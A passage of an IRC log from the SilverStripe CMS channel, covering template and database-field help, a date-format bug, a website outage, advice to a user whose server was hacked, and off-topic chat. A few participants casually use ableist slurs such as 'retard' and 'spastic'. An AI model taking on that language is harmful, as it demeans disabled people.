887: [20:37:00] <simon_w> Pyromanik, sometimes
888: [20:37:00] <Pyromanik> say like, $singular_name ?
889: [20:37:00] <Pyromanik> ?
890: [20:37:00] <Pyromanik> simon_w: does $this->stat() look at extensions/
891: [20:37:00] <Pyromanik> and if so, will it use a stat defined on an extension over the one on the class?
892: [20:38:00] <Pyromanik> and someone extended when they should have extended
893: [20:38:00] <Pyromanik> err, decorated when they should have subclassed :P
894: [20:38:00] <Pyromanik> because no hook :< https://github.com/silverstripe/sapphire/blob/3.0/model/DataObject.php#L635
895: [20:39:00] <Pyromanik> cool, i'll try
896: [20:39:00] <simon_w> If it does do the override, it'll take the extensions
897: [20:42:00] <Pyromanik> bugger, doesn't work
898: [20:43:00] <priithansen> ARNHOFF: the codekit browser auto update function is quite cool
899: [20:44:00] * simon_w just uses launchd for compiling sass
900: [20:45:00] * sminnee has joined #silverstripe
901: [20:51:00] * scpi quit (Quit: scpi)
902: [20:52:00] * mrmorphic has joined #silverstripe
903: [20:54:00] * liam has joined #silverstripe
904: [21:03:00] * henkpoley has joined #silverstripe
905: [21:04:00] * Stomach quit (Quit: Leaving.)
906: [21:04:00] * Webdoc has joined #silverstripe
907: [21:05:00] <Webdoc> What field to use in SS2.4 to insert raw html to show it on frontend
908: [21:06:00] <willr_> Webdoc you can use a Text field type and Textarea Field
909: [21:06:00] <willr_> you may need to use $Field.RAW in the template.
910: [21:08:00] * oddnoc has joined #silverstripe
911: [21:10:00] <Webdoc> i have it in Costum siteconfig and it doesnt show up
912: [21:10:00] <Webdoc> in db Text and in cms fields TextareaField
913: [21:11:00] <willr_> you may want to pastie.org your code to
914: [21:11:00] <Webdoc> to be sure
915: [21:11:00] <priithansen> in db it should be HTMLText if i'm not mistaken
916: [21:11:00] <Webdoc> with $ sign
917: [21:11:00] <Webdoc> also if i control siteconfig and have the Filed.RAW inside it
918: [21:12:00] <Webdoc> used new TextAreaField('Paypal','Paypal')
919: [21:12:00] <Webdoc> db array is 'PayPal' => 'Text'
920: [21:13:00] <FrozenFire> Otherwise it's escaped
921: [21:13:00] <Webdoc> i see the textarea field in csm and can edit it
922: [21:13:00] <Webdoc> and in template used <% control SiteConfig %>$Paypal.RAW<% end_control %>
923: [21:13:00] <FrozenFire> HTMLText
924: [21:15:00] <Webdoc> already
925: [21:15:00] <Webdoc> done
926: [21:15:00] <willr_> Webdoc and you can save the value?
927: [21:15:00] <Webdoc> somehow it doesnt save it
928: [21:15:00] <willr_> run a /dev/build
929: [21:16:00] <Webdoc> used /dev/build?flush=1
930: [21:18:00] <Webdoc> $fields->addFieldToTab("Root.Paypal", new TextAreaField("Paypal",'Paypal Code'));
931: [21:18:00] <willr_> Paypal vs PayPal in your db?
932: [21:18:00] <Webdoc> ups yes
933: [21:18:00] <Webdoc> dont see anything wrong here
934: [21:18:00] <Webdoc> :P
935: [21:19:00] * qlex has joined #silverstripe
936: [21:19:00] * qlex says hi
937: [21:19:00] <qlex> is silverstripe.org down ?
938: [21:20:00] <ec8or> http://www.downforeveryoneorjustme.com/silverstripe.org
939: [21:20:00] <willr_> sminnee is onto it.
940: [21:20:00] <ec8or> seems like it is
941: [21:20:00] <qlex> i cant get in and i need to get to 2.4.2 installation files..my VPS got hacked and all my .htaccess files were changed
942: [21:22:00] <qlex> is there any other way where i could get 2.4.2 files ?
943: [21:22:00] <willr_> github
944: [21:22:00] <qlex> first time ever i get something like such hack into my server...
945: [21:22:00] <qlex> i seem to have replaced most of htaccess but there's one last thing...
946: [21:22:00] <willr_> You may want to upgrade to the latest 2.4 while you're there
947: [21:22:00] <qlex> willr_: thanx
948: [21:23:00] <qlex> server starts connecting to a starnge norwegain (im in poland) server...
949: [21:23:00] * ARNHOFF quit (Read error: Connection reset by peer)
950: [21:23:00] <willr_> it could be one way you're hacked
951: [21:23:00] <liam> yea i cant get to ss.org either...
952: [21:23:00] <qlex> could you guys let me know which files from silverstripe get active, once i provide username and password ans start logging in into CMS ?
953: [21:23:00] <qlex> currently, when i type in my crendetials
954: [21:23:00] <willr_> 2.4.* has had several security releases you need to keep on top of
955: [21:24:00] <willr_> https://github.com/silverstripe/sapphire/blob/2.4/docs/en/changelogs/2.4.9.md
956: [21:24:00] <qlex> willr_: 2.4.7 was latest ?
957: [21:24:00] * Stomach has joined #silverstripe
958: [21:24:00] <Pyromanik> Webdoc: did you fix the issue?
959: [21:24:00] <willr_> 2.4.9
960: [21:24:00] <Pyromanik> qlex: yes, ss.org is down
961: [21:24:00] <Webdoc> now it saves but i dont see in frontend
962: [21:25:00] <willr_> Note the moderate security warning.
963: [21:25:00] <Webdoc> Willr whats wroing with silverstripe.org laging like hell
964: [21:26:00] <qlex> please let me know, which files (im on ftp now) come into play, when i provide crednetials to log in to CMS
965: [21:26:00] <qlex> willr_:thanx, will update to newest 2.4.9 then
966: [21:26:00] <qlex> ?
967: [21:27:00] <qlex> and its prohibiting my client from logging in into CMS now...
968: [21:27:00] <qlex> i guess something must be added/modified in those php files by my ftp program that must have gotten hacked
969: [21:27:00] <willr_> qlex pretty much the whole framework might be touched. Your best bet is to remove all your downloaded, start fresh, check your own code.
970: [21:28:00] <Webdoc> Willr is the raw in all 2.4 versions
971: [21:28:00] <Webdoc> i have 2.4.5
972: [21:28:00] <Webdoc> and it seems not work
973: [21:28:00] <sminnee> Yeah homer (the server) is bung. We got Rackspace to reset it and it will be up shortly, but I think it's doing the fsck check and we don't have access to it right now. (cc willr_ ec8or qlex)
974: [21:28:00] <Pyromanik> Webdoc: did you change the db type to HTMLText!?
975: [21:28:00] <Pyromanik> errr -!
976: [21:29:00] <qlex> if i need files from 2.4.9 version, do i just grab both directories (sapphire and cms) and replace on ftp and dev/build ?
977: [21:29:00] <Webdoc> 'PayPal' => 'HTMLText'
978: [21:29:00] <Pyromanik> sminnee: choice
979: [21:29:00] <qlex> willr_: github stores separately sapphire and cms now
980: [21:29:00] <Webdoc> yep
981: [21:29:00] <Pyromanik> Webdoc: I don't think you need the .RAW if you're using HTMLText
982: [21:29:00] <willr_> qlex yep.
983: [21:29:00] <Webdoc> $fields->addFieldToTab("Root.Paypal", new TextAreaField("PayPal",'Paypal Code'));
984: [21:29:00] <Pyromanik> Webdoc: cool.
985: [21:29:00] <willr_> sminnee all good. Distributed documentation and source code is handy..
986: [21:30:00] * lx-berlin has left #silverstripe
987: [21:30:00] <Webdoc> ?
988: [21:30:00] <Webdoc> i just use $SiteConfig.Paypal
989: [21:30:00] <Webdoc> Costumsiteconfig.php
990: [21:30:00] <Pyromanik> Webdoc: and this is applied through an extension to SiteConfig?
991: [21:31:00] <Webdoc> :P
992: [21:31:00] <Pyromanik> costume eh
993: [21:31:00] <Webdoc> know rto everyone
994: [21:31:00] <Pyromanik> rather than just $db =
995: [21:31:00] <Webdoc> cusom imean
996: [21:31:00] <Pyromanik> Webdoc: you're using updatecmsfields and updatestats
997: [21:32:00] <Webdoc> fulcode
998: [21:32:00] <Webdoc> http://www.sspaste.com/paste/show/51141d605c219
999: [21:32:00] <qlex> they're together not more than 10mbs - the zips
1000: [21:32:00] <qlex> willr_: just cms and sapphire dirs from github ?
1001: [21:32:00] <Webdoc> full code
1002: [21:33:00] <qlex> and where are the root files? i.e. index.php, favicon.ico,CHANGELOG etc ?
1003: [21:33:00] <willr_> you should also check your root .htaccess file qlex, any modules you've got and your own application code.
1004: [21:33:00] * chrisrio has joined #silverstripe
1005: [21:33:00] <willr_> and check the latest modified files in assets
1006: [21:33:00] <qlex> yes, i already did fix root .htaccess, assets .htaccess and mysite .htaccess
1007: [21:33:00] <qlex> all were affected
1008: [21:33:00] <Webdoc> im inserting the form html of donate button
1009: [21:34:00] <Pyromanik> Kolin: lol nope?
1010: [21:34:00] <Kolin> ugh, seems like every day this week doc.silverstripe.com has down about this time
1011: [21:35:00] <Kolin> http://www.downforeveryoneorjustme.com/doc.silverstripe.com
1012: [21:35:00] <Pyromanik> Kolin: read up
1013: [21:35:00] <Kolin> Where are you? Maybe some kind of routing issue
1014: [21:36:00] <Pyromanik> Webdoc: <sminnee> Yeah homer (the server) is bung. We got Rackspace to reset it and it will be up shortly, but I think it's doing the fsck check and we don't have access to it right now. (cc willr_ ec8or qlex)
1015: [21:36:00] <Pyromanik> sminnee Yeah homer (the server) is bung. We got Rackspace to reset it and it will be up shortly, but I think it's doing the fsck check and we don't have access to it right now. (cc willr_ ec8or qlex)
1016: [21:36:00] <chrisrio> http://doc.silverstripe.org/framework/en/3.1/reference/datefield is dead for me
1017: [21:36:00] <chrisrio> (just fyi)
1018: [21:36:00] <Pyromanik> <sminnee> Yeah homer (the server) is bung. We got Rackspace to reset it and it will be up shortly, but I think it's doing the fsck check and we don't have access to it right now. (cc willr_ ec8or qlex)
1019: [21:36:00] <Webdoc> Documentation and silverstripe.org are down for me also
1020: [21:36:00] <Pyromanik> chrisrio: ^
1021: [21:36:00] <Webdoc> Im in Europe
1022: [21:36:00] <simon_w> Webdoc, ^
1023: [21:36:00] <Pyromanik> wow
1024: [21:36:00] <Pyromanik> people
1025: [21:36:00] <Pyromanik> please read
1026: [21:36:00] <chrisrio> :D :D
1027: [21:36:00] <Pyromanik> <sminnee> Yeah homer (the server) is bung. We got Rackspace to reset it and it will be up shortly, but I think it's doing the fsck check and we don't have access to it right now. (cc willr_ ec8or qlex)
1028: [21:36:00] <Kolin> cool
1029: [21:37:00] <Pyromanik> again for good luck?
1030: [21:37:00] <Pyromanik> well, it was just you yesterday and tuesday
1031: [21:37:00] <Pyromanik> Maybe some kind of routing issue
1032: [21:37:00] * simon_w changed the topic to '<sminnee> Yeah homer (the server) is bung. We got Rackspace to reset it and it will be up shortly, but I think it's doing the fsck check and we don't have access to it right now.'
1033: [21:37:00] <simon_w> Maybe they'll notice now?
1034: [21:37:00] <chrisrio> im tempted to ask again..
1035: [21:37:00] <Kolin> it was down for me yesterday and tuesday around this time though
1036: [21:38:00] <Webdoc> Willr did u look the sspaste
1037: [21:38:00] <spronk> sheesh guys
1038: [21:38:00] <sminnee> lol.
1039: [21:38:00] <chrisrio> fancypants SS3 datefield. Apparently it doesn't like the date 31/12/2012
1040: [21:38:00] <Pyromanik> [10:28] <sminnee> Yeah homer (the server) is bung. We got Rackspace to reset it and it will be up shortly, but I think it's doing the fsck check and we don't have access to it right now. (cc willr_ ec8or qlex)
1041: [21:38:00] <willr_> heh simon_w, took the words out of my mouth
1042: [21:38:00] <Webdoc> lol
1043: [21:38:00] <Pyromanik> chrisrio: because that's not a valid date in the US.
1044: [21:38:00] <spronk> what happened to cloud redundancy
1045: [21:38:00] <spronk> :P
1046: [21:38:00] <Pyromanik> spronk: it's a commonly spouted bs.
1047: [21:39:00] * lx-berlin has left #silverstripe
1048: [21:39:00] <chrisrio> Pyromanik: for serious?
1049: [21:39:00] * lx-berlin has joined #silverstripe
1050: [21:39:00] <Pyromanik> chrisrio: fun fact: Americans are backwards people, as such, they like their dates backwards too. There is no 31st month.
1051: [21:40:00] <Pyromanik> there's not even a 13th month.
1052: [21:40:00] <Pyromanik> lolnope
1053: [21:40:00] <Webdoc> like normal ppl
1054: [21:40:00] <Webdoc> we here use 31.12.2012
1055: [21:40:00] <chrisrio> Pyromanik: I figured datepicker would input something legit.
1056: [21:40:00] <Webdoc> :P
1057: [21:40:00] <Webdoc> lol
1058: [21:41:00] * simon_w just uses dropdowns for dates
1059: [21:41:00] <Pyromanik> si units and logical dates plz.
1060: [21:41:00] <Pyromanik> I dont' care if it goes largest to smallest (like Japanese) or smallest to largest (like the entirety of the western world), but for everyone's sanity, don't go Medium-Small-Large... it's pretty much just full retard.
1061: [21:41:00] <chrisrio> crazy dogs
1062: [21:41:00] <chrisrio> but its totally fine with 14.02.2013
1063: [21:41:00] <chrisrio> and there isnt a 14th month either
1064: [21:42:00] <Pyromanik> unleap year
1065: [21:42:00] <chrisrio> its also fine with 30.12.2012
1066: [21:42:00] <chrisrio> its just the last day of the year
1067: [21:42:00] <Pyromanik> lol
1068: [21:42:00] <Pyromanik> haha
1069: [21:42:00] * zfmf has left #silverstripe
1070: [21:43:00] <Kolin> lol
1071: [21:43:00] <Pyromanik> that sounds pretty spastic chrisrio
1072: [21:43:00] <Webdoc> willr_ does the code look right?
1073: [21:44:00] <chrisrio> clearly I'm taking crazy pills.
1074: [21:44:00] <chrisrio> they're being stored Y-m-d in the DB - and theyre getting input via bog standard datepicker (via the backend) as dd.mm.yy
1075: [21:44:00] <chrisrio> and yet
1076: [21:44:00] <chrisrio> SS hates new years eve.
1077: [21:45:00] <willr_> Webdoc for 2.4 yep. As long as you've run a dev/build should be good to go with the saving issue
1078: [21:45:00] <Webdoc> saving is ok already
1079: [21:46:00] <Webdoc> again:P
1080: [21:46:00] <Webdoc> template i mean
1081: [21:46:00] <Webdoc> but if i use $SiteConfig.Paypal in tamplate it doesnt show it
1082: [21:46:00] <priithansen> $SiteConfig.PayPal
1083: [21:46:00] <Webdoc> ned use $SiteConfig.PayPal
1084: [21:47:00] * UndefinedOffset quit (Quit: Leaving.)
1085: [21:47:00] <Webdoc> need to use i mean
1086: [21:47:00] <Webdoc> Ok now its ok
1087: [21:48:00] <Pyromanik> where are you from Webdoc?
1088: [21:48:00] <Pyromanik> oh yeah, cool
1089: [21:48:00] <Webdoc> t??nan priit
1090: [21:48:00] * UndefinedOffset has joined #silverstripe
1091: [21:48:00] <Webdoc> Estonia
1092: [21:48:00] <Webdoc> panin ise ka juba t??hele
1093: [21:49:00] <chrisrio> new years eve stores perfectly in the DB (2012-12-31) - but when it gets to being displayed (with a datepicker attached) - it becomes 31.12.2013 - at least I know its just a visual issue ;D
1094: [21:49:00] <Pyromanik> There was another Estonian chap rolling around here for a while... I forget who it was. Might have been you, lol
1095: [21:49:00] <Webdoc> Im one of the translator of ss
1096: [21:49:00] <Webdoc> :P
1097: [21:49:00] <Pyromanik> nice :)
1098: [21:50:00] <travis-ci> [travis-ci] silverstripe/silverstripe-cms#228 (3.1 - 53c2059 : Ingo Schommer): The build passed.
1099: [21:50:00] <chrisrio> go about your lives citizens - I've got this.
1100: [21:50:00] <Pyromanik> chillu: mmm, that's a bit weird
1101: [21:50:00] <Pyromanik> err, chrisrio
1102: [21:50:00] * travis-ci has joined #silverstripe
1103: [21:50:00] <travis-ci> [travis-ci] Change view : https://github.com/silverstripe/silverstripe-cms/compare/8c3f87bb8acd...53c2059a016f
1104: [21:50:00] <travis-ci> [travis-ci] Build details : http://travis-ci.org/silverstripe/silverstripe-cms/builds/4651306
1105: [21:50:00] * travis-ci has left #silverstripe
1106: [21:50:00] <Pyromanik> what you're saying is that it displays fine, but changes 2012 to 2013?
1107: [21:52:00] <Pyromanik> so it's exactly correct, just a year wrong
1108: [21:52:00] <Webdoc> how u wanna show it chrisrio
1109: [21:52:00] <chrisrio> - Go to page - Use datepicker to set NYE - 31.12.2012 - Save page - Date is correct in DB - but in a different format (all G)
1110: [21:52:00] * UndefinedOffset quit (Ping timeout: 245 seconds)
1111: [21:52:00] <chrisrio> Reload the page - date is displayed as 31.12.2013
1112: [21:53:00] <Pyromanik> change to dmy fields
1113: [21:53:00] <Pyromanik> with date picker?
1114: [21:53:00] <chrisrio> Pyromanik: I'm picking that, as well.
1115: [21:53:00] <Pyromanik> mmm, wise move
1116: [21:53:00] <chrisrio> I've probably just got to change a setting in my datepicker or somesuch - I'll see what its like with datepicker kicked to the curb.
1117: [21:53:00] <Pyromanik> chrisrio: I fear you have broken the space time continuum
1118: [21:53:00] * DigNZ1 has joined #silverstripe
1119: [21:53:00] <Webdoc> $date.format(%d.%m.%G) for 31.12.2012
1120: [21:54:00] <spronk> omg. second failcourier this week. target: overnight. overnight = YESTERDAY
1121: [21:54:00] <chrisrio> Nah, I'm picking some sort of timespace anomaly.
1122: [21:54:00] <chrisrio> yeah I could use 3 dropdowns, but thats not pretty.
1123: [21:55:00] <Pyromanik> spronk: ring up, demand refund.
1124: [21:55:00] <chrisrio> and im very pretty.
1125: [21:55:00] <Pyromanik> spronk: not uncommon
1126: [21:56:00] <chrisrio> Webdoc: you want me to drop that into my config like it aint no thing?
1127: [21:56:00] <Pyromanik> spronk: isn't it amazing how FedEx can get a package from CHINA to your doorstep overnight, but NZ couriers can't even co-ordinate a consistent delivery schedule.
1128: [21:56:00] <Webdoc> i18n::set_date_format('dd/MM/YYYY');
1129: [21:56:00] <Pyromanik> spronk: of the difference between overnight and normal
1130: [21:57:00] <Pyromanik> pull request
1131: [21:57:00] <Pyromanik> fix the field
1132: [21:57:00] <Pyromanik> lol, don't do it
1133: [21:57:00] <chrisrio> I'm all over this shit Pyromanik, warp factor 10
1134: [21:57:00] <Pyromanik> you must stitch up the space time continuum before we all get unexisted.
1135: [21:57:00] <chrisrio> yeeeep :D
1136: [21:58:00] <irogue> i see you there sminnee, NBR AMAing
1137: [21:58:00] <Pyromanik> hawt
1138: [21:59:00] <chrisrio> it had no effect
1139: [21:59:00] <Pyromanik> lolwu
1140: [21:59:00] <Pyromanik> t
1141: [21:59:00] <chrisrio> my GOD
1142: [22:00:00] <spronk> Pyromanik: i know right :/
1143: [22:00:00] <sminnee> you gonna ask all the hard questions, irogue?
1144: [22:02:00] <spronk> sminnee: we'll grill you good
1145: [22:02:00] <spronk> >:]
1146: [22:04:00] <Pyromanik> chrisrio: take the red pill
1147: [22:04:00] <chrisrio> Pyromanik: they're all out of red pills.
1148: [22:04:00] <chrisrio> NYE of any year displays as +1 year.
1149: [22:04:00] <chrisrio> how deep does this rabbit hole go
1150: [22:04:00] <Pyromanik> eat the cake and drink the drinks then
1151: [22:05:00] <chrisrio> imho
1152: [22:05:00] <chrisrio> The Matrix wouldn't have been quite as good if Neo was screwing around with a gremlin in his datefield before visiting Morpheus.
1153: [22:06:00] * willr_ quit (Quit: willr_)
1154: [22:07:00] <Pyromanik> I think if Neo was screwing gremlins it would have been a WHOLE other movie...
1155: [22:07:00] * ajshort has joined #silverstripe
1156: [22:08:00] <Pyromanik> sminnee: do you have much to do with this year's WDCNZ ?
1157: [22:09:00] <priithansen> any plugins that use their own data type so I can ape it
1158: [22:09:00] * qlex has left #silverstripe
1159: [22:09:00] <chrisrio> you thinking more mass appeal?
1160: [22:10:00] <priithansen> like HTMLText is
1161: [22:10:00] <simon_w> priithansen, so like a custom DB field?
1162: [22:11:00] <Kolin> I'm sure theres a google maps location picker module somewhere
1163: [22:11:00] <priithansen> I'm thinking of MarkdownText field
1164: [22:11:00] <priithansen> learn how it's done from the code
1165: [22:11:00] <simon_w> And what do you mean by ape it?
1166: [22:11:00] <chrisrio> the problem was ->setConfig('dateformat', 'dd.MM.YYYY'); for anyone still listening to my highly emotional sob story. Just don't set a custom dateformat and your dreams will come true.
1167: [22:11:00] <Kolin> might only be 2.4 though
1168: [22:12:00] <simon_w> priithansen, so why not just look at the existing fields? A module wouldn't do anything special
1169: [22:13:00] <simon_w> And HTMLText shows how to parse the value when outputting it
1170: [22:14:00] <priithansen> nice thanks
1171: [22:14:00] <priithansen> So it would probably be a good idea to extend Text and take notes from HTMLText?
1172: [22:14:00] <simon_w> Yup
1173: [22:16:00] <simon_w> Whoa, I can scroll the user list. Haven't been able to do that in here for a while.
1174: [22:17:00] <Pyromanik> 52 users eh
1175: [22:17:00] <chrisrio> how should we celebrate
1176: [22:17:00] <chrisrio> mass bannings, start with moi?
1177: [22:17:00] <chrisrio> starting*
1178: [22:17:00] <Pyromanik> cool
1179: [22:17:00] <simon_w> If you want...
1180: [22:18:00] * Stomach quit (Quit: Leaving.)
1181: [22:18:00] <ajshort> simon_w: You need a bigger screen :P
1182: [22:18:00] <simon_w> ajshort, I've got one :p IRC is on the little screen
1183: [22:19:00] <simon_w> Personal chats are on the big screen in this space
1184: [22:19:00] <ajshort> But chat is more important than work!
1185: [22:19:00] <Pyromanik> chrisrio: haah, that'll learn you for not submitting to default locale and user locale settings.
1186: [22:19:00] <simon_w> Work is in an entire other space!
1187: [22:19:00] <Pyromanik> although, it is still broken.
1188: [22:20:00] <Pyromanik> what do?
1189: [22:20:00] <simon_w> Bring me lunch?
1190: [22:20:00] <ss23> I had simon_w ask me that once
1191: [22:20:00] <ss23> Then I said "Do you want cheeseburgers?"
1192: [22:20:00] <ss23> He didn't answer
1193: [22:20:00] <simon_w> And then he didn't bring me lunch!
1194: [22:20:00] <ss23> And thus I couldn't bring him noms
1195: [22:20:00] <ss23> :<
1196: [22:20:00] * howardgrigg has joined #silverstripe
1197: [22:20:00] <Pyromanik> I've completed my list of work for the day and it's only 11:20 :(
1198: [22:22:00] <simon_w> I had to go get my own BurgerFuel
1199: [22:23:00] <ss23> I don't know where Burgerfuel is in Wellington!
1200: [22:23:00] <ss23> lol
1201: [22:24:00] <ss23> I hold no responability for your failed attempt at asking for noms!
1202: [22:24:00] <ss23> Besides, I still blame you for not clarifying which noms you wanted
1203: [22:25:00] <simon_w> From the Opera house, walk down Manners until the lights at the bigger intersection. Diagonally across the intersection.
1204: [22:25:00] * ajshort quit (Quit: Page closed)
1205: [22:26:00] <simon_w> The other one is walk up to what is basically a pedestrian set of lights, cross and keep following Cuba until you see it
1206: [22:26:00] * metanat has joined #silverstripe
1207: [22:28:00] * Stomach has joined #silverstripe
1208: [22:28:00] <ss23> If I want burger fuel next con, I'll use a map :P
1209: [22:29:00] <ss23> Maps are easier (and thankfully involve less human interaction)
1210: [22:29:00] <simon_w> Or ask anyone :p
1211: [22:29:00] <irogue> wellington cbd is tiny, not hard to find anything
1212: [22:29:00] <simon_w> Well, I took Pyromanik to BurgerFuel
1213: [22:30:00] <ss23> 2, maybe 3*
1214: [22:30:00] <simon_w> You stayed at the Courtenay/Manners end of town?
1215: [22:30:00] <ss23> Although, true, I didn't get lost while I was there
1216: [22:30:00] <ss23> I think you overestimate my navigation skills.
1217: [22:30:00] <ss23> And managed to find 3 McDonalds, maybe 3
1218: [22:31:00] <ss23> Basically go outside the opera house and walk straight along there for a while. You go past a mcdonalds
1219: [22:31:00] <simon_w> There's 3 maccas around here to find
1220: [22:31:00] <ss23> I stayed at the... there is a big upwards hill going from CBD to here side of town
1221: [22:33:00] * DigNZ1 quit (Quit: DigNZ1)
1222: [22:34:00] * DigNZ1 has joined #silverstripe
1223: [22:35:00] <simon_w> Yup, and there's on in Readings and one at the BP behind Readings (towards the harbour)
1224: [22:36:00] <simon_w> But really shouldn't
1225: [22:36:00] <Zauberfisch> something like TableListField
1226: [22:36:00] * SightUnseen has joined #silverstripe
1227: [22:36:00] <simon_w> Zauberfisch, I saw ajshort post an almost finished inline-editable gridfield screenshot
1228: [22:36:00] <ss23> simon_w: Why not? It's quick and handy ^.^
1229: [22:36:00] <ss23> I'm going to get all you can eat chineese o/
1230: [22:36:00] <simon_w> Dammit, now I want maccas
1231: [22:36:00] <Zauberfisch> is there some nice inline edit field for ss3?
1232: [22:37:00] <ss23> aw
1233: [22:37:00] <simon_w> ss23, Ny order makes it not quick, and it so far away :p
1234: [22:37:00] * SightUnseen has left #silverstripe
1235: [22:38:00] * qlex has joined #silverstripe
1236: [22:38:00] <Zauberfisch> do you know if there is anything out yet
1237: [22:38:00] <Pyromanik> don't do it
1238: [22:38:00] <Pyromanik> simon_w: maccas is crap
1239: [22:38:00] <Zauberfisch> sounds cool
1240: [22:38:00] <Zauberfisch> hmmm, simon_w
1241: [22:38:00] * qlex says hi again
1242: [22:39:00] <Pyromanik> qlex: no it's not a bug
1243: [22:39:00] * henkpoley quit (Quit: henkpoley)
1244: [22:39:00] <Pyromanik> yes, that's normal
1245: [22:39:00] <qlex> Pyromanik: should i type in there something manually and this will show up ?
1246: [22:39:00] <Pyromanik> where to see screenshot?
1247: [22:39:00] <Pyromanik> for 2.4.6 and above
1248: [22:39:00] <qlex> im just installing 2.4.9 from github and both files silverstripe_version in cms and sapphire directories are empty
1249: [22:39:00] <qlex> is this a bug?
1250: [22:39:00] <Pyromanik> inline editing by ajshort
1251: [22:39:00] <qlex> when im logging in to CMS, i cant see which silverstripe version is it ?
1252: [22:39:00] <Zauberfisch> yeah, simon_w do you have a link?
1253: [22:39:00] <qlex> i can only see SilverStripe CMS - Logged in as admin
1254: [22:40:00] <Pyromanik> you need to type it in to both cms and sapphire copies of the file though
1255: [22:40:00] <Pyromanik> qlex: you could, but I forget what it should be
1256: [22:40:00] <qlex> Pyromanik: if i ask my client to tell me which version of SS is he runinig and i will forget in the meantime...
1257: [22:40:00] <Pyromanik> and both lines are slightly different
1258: [22:40:00] <qlex> there will be no way for me to say which version is he on
1259: [22:41:00] <qlex> i can see in 2.4.5 that in cms dir its:
1260: [22:41:00] <qlex> $URL: http://svn.silverstripe.com/open/modules/cms/tags/2.4.5/silverstripe_version $
1261: [22:41:00] <Pyromanik> oh
1262: [22:41:00] <Pyromanik> it's all just security fixes
1263: [22:41:00] <Pyromanik> it doesn't matter after 2.4.5
1264: [22:41:00] <Zauberfisch> Pyromanik looks like its part of https://github.com/ajshort/silverstripe-gridfieldextensions
1265: [22:41:00] <Pyromanik> except the CMS current editing page view thing stops working on first load. You edit SiteConfig but it says Home
1266: [22:42:00] <Pyromanik> qlex: yes
1267: [22:42:00] <Zauberfisch> Pyromanik well, not everything, but a lot
1268: [22:42:00] <qlex> can i just type that in manually and replace 2.4.5 with 2.4.9 ?
1269: [22:42:00] <Pyromanik> Zauberfisch: omg, he just did everything I wanted to do with gridfield.
1270: [22:42:00] <Pyromanik> this is fantastic news
1271: [22:42:00] <Zauberfisch> Pyromanik indeed
1272: [22:42:00] <Zauberfisch> just thought the same thing
1273: [22:43:00] <Pyromanik> qlex: ^
1274: [22:43:00] <Pyromanik> but that's the line for cms/silverstripe_version
1275: [22:43:00] <qlex> yes
1276: [22:43:00] <Zauberfisch> there is still a lot to improve
1277: [22:43:00] <Zauberfisch> like gallery view
1278: [22:43:00] <Pyromanik> the line iirc is the same, except replace cms with sapphire for sapphire/silverstripe_version
1279: [22:43:00] <Pyromanik> Zauberfisch: yes and no
1280: [22:43:00] <Pyromanik> Zauberfisch: modifying uploadfield is a better idea
1281: [22:44:00] <qlex> Pyromanik: it doesnt work as i assumed...
1282: [22:44:00] <Zauberfisch> Pyromanik haha, yes
1283: [22:44:00] <Pyromanik> you lose multiple upload and stuff
1284: [22:44:00] <Pyromanik> galleries through gridfield are just bad ideas.
1285: [22:44:00] <qlex> SilverStripe CMS??-?? cms: $URL: http://svn.silverstripe.com/open/modules/cms/tags/2.4.9/silverstripe_version $, sapphire: $URL: http://svn.silverstripe.com/open/modules/sapphire/tags/2.4.9/silverstripe_version $ ?? ?? ?? Logged in as....
1286: [22:44:00] <Pyromanik> and uploadfield already handles manymany and hasmany
1287: [22:44:00] <Zauberfisch> Pyromanik I am thinking it would make sense to make the Uploadfield a subclass of gridfield
1288: [22:44:00] <Pyromanik> just needs a better template and the ability to sort
1289: [22:44:00] <Pyromanik> Zauberfisch: yes, I was thinking the same
1290: [22:44:00] <Pyromanik> I've looked into it
1291: [22:44:00] <qlex> now when logged in to CMS i can see:
1292: [22:45:00] <Pyromanik> it basically does what gridfield does, but in a specialised manner
1293: [22:45:00] <Pyromanik> tying an uploadfield with a gridfield with javascript and templates
1294: [22:45:00] <Pyromanik> I was going to hack together a bit of a concept
1295: [22:45:00] <Zauberfisch> and now I don't have time for it
1296: [22:45:00] <Pyromanik> I gathered as much
1297: [22:45:00] <Pyromanik> mmm
1298: [22:45:00] <Zauberfisch> but at the time I built the UploadFIeld, the gridfield was not finished
1299: [22:46:00] * mrmorphic quit (Quit: mrmorphic)
1300: [22:46:00] <Pyromanik> but I thought that was just stupid
1301: [22:47:00] <Pyromanik> making many_many_extraFields less of a hack
1302: [22:47:00] <Pyromanik> both rather large undertakings
1303: [22:47:00] * Rastafarii has joined #silverstripe
1304: [22:47:00] <Pyromanik> Zauberfisch: in the end I came to realise that if I didn't want to extend Image, I'd need to do something drastic like have uploadfield create custom objects after saving the image/file
1305: [22:47:00] <Pyromanik> OR
1306: [22:48:00] <Rastafarii> I have a problem with uploading assets
1307: [22:48:00] <Pyromanik> ok
1308: [22:48:00] <Pyromanik> but to tidy it all up would be superb.
1309: [22:48:00] <Rastafarii> Hi @ all
1310: [22:48:00] <Pyromanik> hi
1311: [22:48:00] <Rastafarii> Upload::load to be exact
1312: [22:49:00] <Rastafarii> for some reason, second param ($folderPath) is set to /
1313: [22:49:00] <Rastafarii> and file obviously cannot be uploaded to root of the site
1314: [22:50:00] <Pyromanik> I think this is a problem you have created
1315: [22:50:00] <Pyromanik> because that does not happen by default
1316: [22:50:00] <spronk> OMG
1317: [22:50:00] <Pyromanik> well
1318: [22:50:00] <spronk> WITH COURIER!
1319: [22:51:00] <Pyromanik> after being home all morning?
1320: [22:51:00] <Pyromanik> o
1321: [22:51:00] <Pyromanik> then what?
1322: [22:51:00] <Pyromanik> go mental
1323: [22:51:00] <Pyromanik> ring them up man
1324: [22:51:00] <Pyromanik> Rastafarii: must have
1325: [22:51:00] <spronk> courierpost wins at actually getting shit done, presuming they turn up sometime today, vs NZCouriers.
1326: [22:51:00] <Pyromanik> in any case, we do not have enough information to help you.
1327: [22:51:00] <Rastafarii> but I didn't mess with anything related to upload
1328: [22:51:00] <Pyromanik> find a note "you weren't here" in your letterbox?
1329: [22:51:00] <spronk> no not yet
1330: [22:53:00] <Pyromanik> how about
1331: [22:53:00] <Rastafarii> oh, well
1332: [22:53:00] <Rastafarii> can you at least point me where I should look, like where from Upload::load is called?
1333: [22:53:00] <Pyromanik> you tell us what you're trying to do
1334: [22:53:00] <Pyromanik> and what you've done
1335: [22:54:00] <Pyromanik> so you have a clean default install, and you've done nothing execpt add a stylesheet for the LeftAndMain?
1336: [22:54:00] <Zauberfisch> anyway, back to work I go
1337: [22:54:00] <Pyromanik> Rastafarii: what version of SilverStripe is this?
